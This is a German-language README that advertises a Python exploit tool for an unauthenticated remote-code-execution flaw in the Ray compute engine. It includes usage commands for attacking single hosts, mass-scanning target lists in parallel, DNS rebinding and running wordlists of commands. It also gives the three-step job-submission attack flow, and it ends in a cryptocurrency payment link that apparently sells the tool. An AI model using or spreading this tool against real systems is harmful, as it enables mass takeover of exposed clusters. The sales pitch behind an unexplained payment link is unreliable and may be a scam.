CVE-2025-62593 — Ray Unauthenticated RCE Exploit

Überblick

CVE-2025-62593 ist eine Schwachstelle zur nicht authentifizierten Remote-Codeausführung in der verteilten KI-Compute-Engine Ray. Die Ursache ist das Fehlen einer Authentifizierung an kritischen HTTP-Endpunkten (/api/jobs, /api/job_agent/jobs). Ein Angreifer kann einen Ray-Job einreichen, dessen Entrypoint ein beliebiger Befehl ist, und diesen auf dem Cluster-Head-Node ausführen.

Schnellstart

# Einzelnes Ziel
python3 ray_rce_poc.py --target http://HOST:8265

# Massen-Scan (10 parallel)
python3 ray_rce_poc.py --targets list.txt --command "id" -o results.json

# Recon-Modus (schnelle Aufzählung)
python3 ray_rce_poc.py --recon --targets list.txt

# DNS-Rebinding-Modus
python3 ray_rce_poc.py --dns-rebind --target http://HOST:8265 --rebind-host 10.0.0.1

# Wortlisten-Scan
python3 ray_rce_poc.py --targets list.txt --wordlist commands.txt -o results.csv

Funktionen

• Asyncio-Konkurrenz — konfigurierbare Parallelität (Standard: 10), scannt 1000 Ziele in derselben Zeit wie 1
• Wiederholung + exponentielles Back-off — 3 Wiederholungen pro Anfrage
• Fortschrittsbalken + ETA — Echtzeit-ASCII-Fortschritt
• Farbausgabe — ANSI-Farben (✓/✗/○)
• 3 Ausgabeformate — JSON / CSV / JSONL (automatisch anhand der Dateiendung erkannt)
• Recon-Modus — schnelle Aufzählung ohne Einreichen von Jobs
• DNS-Rebinding-Modus — vollständige RebindHTTPConnection-Implementierung
• Wortlisten-Modus — Scan gegen eine Befehlsliste
• Nur Stdlib — keine externen Abhängigkeiten, Python 3.8+

Angriffsablauf

1. Job einreichen — POST /api/jobs/ mit Entrypoint, der den Zielbefehl ausführt
2. Status abfragen — GET /api/jobs/ bis der Job einen Endzustand erreicht
3. Logs abrufen — GET /api/jobs/{id}/logs zur Wiederherstellung der Ausgabe

https://satoshi-box.com/pay/CSIgNt